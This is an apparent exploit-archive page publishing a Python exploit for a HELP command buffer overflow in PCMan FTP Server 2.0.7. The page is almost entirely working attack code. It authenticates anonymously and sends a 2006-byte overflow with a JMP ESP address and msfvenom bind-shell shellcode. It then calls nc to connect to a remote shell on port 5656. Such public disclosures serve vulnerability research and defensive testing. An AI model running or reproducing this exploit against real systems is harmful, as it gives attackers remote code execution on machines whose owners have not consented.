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PCMan FTP Server 2.0.7 HELP Buffer Overflow

PCMan FTP Server 2.0.7 HELP Buffer Overflow
Posted Nov 9, 2016
Authored by Yunus YILDIRIM

PCMan FTP server version 2.0.7 HELP command buffer overflow exploit.

tags | exploit, overflow
MD5 | c1816f573a8ebe1117d26e117cc48a33

PCMan FTP Server 2.0.7 HELP Buffer Overflow

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#!/usr/bin/env python
#-*- coding: utf-8 -*-

# Exploit Title: PCMan FTP Server 2.0.7 - 'HELP' Command Buffer Overflow
# Date: 07/11/2016
# Author: Yunus YILDIRIM (Th3GundY)
# Team: CT-Zer0 (@CRYPTTECH) - https://www.crypttech.com
# Website: http://yildirimyunus.com
# Contact: yunusyildirim@protonmail.com
# Tested on: Windows 7 Ultimate 32Bit

import socket
import sys
import os
import time

def banner():
banner = "\n\n"
banner +=" aaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaa aaaaaaa \n"
banner +=" aaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \n"
banner +=" aaa aaaaaaaaa aaaaa aaaaaa aaaaaaaaaaaaaaaaa \n"
banner +=" aaa aaaaaaaaaaaaaa aaaaaa aaaaaaaaaaaaaaaaa \n"
banner +=" aaaaaaaa aaa aaaaaaaaaaaaaaaaaaa aaaaaaaaaaaa \n"
banner +=" aaaaaaa aaa aaaaaaaaaaaaaaaaaaa aaa aaaaaaa \n"
banner +=" \n"
print banner

def exploit(target, port):

eip = "\xC3\x9C\xB4\x76" #SHELL32.dll 76B49CC3 JMP ESP

# msfvenom -p windows/shell_bind_tcp LPORT=5656 -b '\x00\x0a\x0d\xff' -f c
shellcode = ("\xdb\xcf\xd9\x74\x24\xf4\xba\x9f\xef\x1b\x27\x5e\x29\xc9\xb1"
"\x53\x31\x56\x17\x03\x56\x17\x83\x59\xeb\xf9\xd2\x99\x1c\x7f"
"\x1c\x61\xdd\xe0\x94\x84\xec\x20\xc2\xcd\x5f\x91\x80\x83\x53"
"\x5a\xc4\x37\xe7\x2e\xc1\x38\x40\x84\x37\x77\x51\xb5\x04\x16"
"\xd1\xc4\x58\xf8\xe8\x06\xad\xf9\x2d\x7a\x5c\xab\xe6\xf0\xf3"
"\x5b\x82\x4d\xc8\xd0\xd8\x40\x48\x05\xa8\x63\x79\x98\xa2\x3d"
"\x59\x1b\x66\x36\xd0\x03\x6b\x73\xaa\xb8\x5f\x0f\x2d\x68\xae"
"\xf0\x82\x55\x1e\x03\xda\x92\x99\xfc\xa9\xea\xd9\x81\xa9\x29"
"\xa3\x5d\x3f\xa9\x03\x15\xe7\x15\xb5\xfa\x7e\xde\xb9\xb7\xf5"
"\xb8\xdd\x46\xd9\xb3\xda\xc3\xdc\x13\x6b\x97\xfa\xb7\x37\x43"
"\x62\xee\x9d\x22\x9b\xf0\x7d\x9a\x39\x7b\x93\xcf\x33\x26\xfc"
"\x3c\x7e\xd8\xfc\x2a\x09\xab\xce\xf5\xa1\x23\x63\x7d\x6c\xb4"
"\x84\x54\xc8\x2a\x7b\x57\x29\x63\xb8\x03\x79\x1b\x69\x2c\x12"
"\xdb\x96\xf9\x8f\xd3\x31\x52\xb2\x1e\x81\x02\x72\xb0\x6a\x49"
"\x7d\xef\x8b\x72\x57\x98\x24\x8f\x58\xb0\xac\x06\xbe\xd6\xdc"
"\x4e\x68\x4e\x1f\xb5\xa1\xe9\x60\x9f\x99\x9d\x29\xc9\x1e\xa2"
"\xa9\xdf\x08\x34\x22\x0c\x8d\x25\x35\x19\xa5\x32\xa2\xd7\x24"
"\x71\x52\xe7\x6c\xe1\xf7\x7a\xeb\xf1\x7e\x67\xa4\xa6\xd7\x59"
"\xbd\x22\xca\xc0\x17\x50\x17\x94\x50\xd0\xcc\x65\x5e\xd9\x81"
"\xd2\x44\xc9\x5f\xda\xc0\xbd\x0f\x8d\x9e\x6b\xf6\x67\x51\xc5"
"\xa0\xd4\x3b\x81\x35\x17\xfc\xd7\x39\x72\x8a\x37\x8b\x2b\xcb"
"\x48\x24\xbc\xdb\x31\x58\x5c\x23\xe8\xd8\x6c\x6e\xb0\x49\xe5"
"\x37\x21\xc8\x68\xc8\x9c\x0f\x95\x4b\x14\xf0\x62\x53\x5d\xf5"
"\x2f\xd3\x8e\x87\x20\xb6\xb0\x34\x40\x93")

buffer = 'A'*2006 + eip + "\x90"*21 + shellcode

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
s.recv(1024)
print "[+] Connect to %s on port %d" % (target,port)
except Exception, e:
print "[-] Could not create socket", e.message
sys.exit(0)

try:
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS CT-Zer0\r\n')
s.recv(1024)
s.send('HELP ' + buffer + '\r\n')
print "[+] Exploit Sent Successfully"
s.close()
print '[+] You got bind shell on port 5656\n'
time.sleep(2)
os.system('nc ' + target + ' 5656')
except:
print "[-] Could not connect to target"


if len(sys.argv) == 3:
banner()
target = sys.argv[1]
port = int(sys.argv[2])
exploit(target, port)
else:
banner()
print "[*] Usage: python %s <IP> <Port>\n" % sys.argv[0]
sys.exit(0)

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